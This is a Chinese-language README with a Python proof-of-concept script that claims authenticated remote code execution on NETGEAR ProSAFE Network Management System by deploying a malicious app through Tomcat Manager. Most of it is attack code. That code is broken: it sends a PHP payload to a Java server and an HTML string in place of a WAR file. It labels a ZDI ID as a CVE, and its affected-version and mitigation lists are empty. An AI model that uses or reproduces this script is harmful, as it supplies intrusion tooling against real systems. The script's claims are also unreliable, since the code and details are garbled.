
概念验证 Python 脚本,演示通过部署恶意 Web 应用程序,利用存在漏洞的 Apache Tomcat,在 NETGEAR ProSAFE 网络管理系统中实现经过身份验证的远程代码执行。
本仓库包含一个概念验证(PoC)脚本,用于演示 NETGEAR ProSAFE 网络管理系统中的远程代码执行(RCE)漏洞。该漏洞是由于产品安装程序中使用了存在漏洞的 Apache Tomcat 版本所致。此问题允许经过身份验证的攻击者在受影响的安装上执行任意代码。
CVE 编号: ZDI-CAN-22868
概述: NETGEAR ProSAFE 网络管理系统由于使用了存在漏洞的 Apache Tomcat 版本,存在远程代码执行漏洞。经过身份验证的攻击者可以利用此漏洞在受影响系统上以 SYSTEM 权限执行任意代码。
受影响版本:
身份验证: 需要
此 PoC 演示了攻击者如何利用该漏洞实现远程代码执行。具体缺陷在于产品安装程序使用了过时或存在漏洞的 Apache Tomcat 版本。
以下脚本说明了如何利用此 RCE 漏洞。在运行此 PoC 之前,请确保您拥有适当的权限。
重要: 此 PoC 仅用于教育目的,不得用于未经授权或恶意的活动。
import requests
# Configuration
target_url = "http://target-ip:port/manager/html" # Change this to the Tomcat Manager URL of the target
username = "admin" # Change to the valid username
password = "password" # Change to the valid password
# The payload to be executed on the remote server
payload = """
<?php
// Payload to execute arbitrary PHP code
system('whoami');
?>
"""
# Tomcat Manager URL path for deploying a new web application
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# Headers for authentication
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
Exploit the RCE vulnerability by deploying a malicious web application.
Args:
url (str): The Tomcat Manager URL.
username (str): The Tomcat Manager username.
password (str): The Tomcat Manager password.
payload (str): The malicious payload to be executed.
"""
try:
# Create a new web application with the malicious payload
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] Successfully deployed the malicious web application.")
else:
print("[-] Failed to deploy the malicious web application.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Exploiting RCE vulnerability at: {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url 设置为目标系统的 Tomcat Manager URL,并更新 username 和 password 为有效凭据。exploit_rce() 函数发送 POST 请求以部署恶意 Web 应用程序。为缓解此漏洞,请采取以下步骤:
通过遵循这些步骤,您可以解决 NETGEAR ProSAFE 网络管理系统中的 RCE 漏洞并增强整体安全性。
此 README.md 提供了 RCE 漏洞的详细描述和 PoC 脚本,包括设置说明、注意事项和缓解建议。